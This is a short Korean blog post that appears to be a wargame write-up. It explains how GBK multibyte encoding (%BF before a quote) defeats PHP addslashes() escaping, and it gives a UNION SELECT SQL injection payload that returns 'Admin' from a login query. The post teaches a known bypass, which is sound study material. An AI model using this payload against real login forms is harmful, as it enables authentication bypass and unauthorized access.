Addslashes

싱글쿼터 입력 시 addslashes() 함수로 필터할 경우 앞에 \ 문자가 와서 SQL Injection이 예방이 된다.
이번 문제는 이러한 경우 어떻게 우회를 할 수 있는지를 묻는 문제이다.

이번 문제의 풀이 방법은 GBK 인코딩을 이용한 addslashes() 우회기법을 이용하는 것인데 %BF 이후에 싱글쿼터를 입력하게 되면 addslashes() 함수에 의한 필터링을 우회할 수 있다.

따라서 아래와 같이 username 변수에 "test%BF%27 union select 0x41646d696e%20%23" 를 입력하면 된다.

[문제의 SQL문]

SELECT username FROM users WHERE username='$username' AND password='$password'

[우회한 SQL문]

SELECT username FROM users WHERE username='test%BF' union select 0x41646d696e #' AND password='$password'

따라서 # 이후로는 주석처리 되어 결과로 Admin (0x41646d696e) 이 리턴된다.
이번 문제에서 기억해야 할 내용은 아래와 같다.

1) addslashes() 함수로 싱글쿼터 등을 필터링 할 경우 어떻게 우회할 수 있는가?
2) 싱글쿼터나 더블쿼터를 사용할 수 없을 때 Select 문으로 Admin을 어떻게 표현할 수 있는가?

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다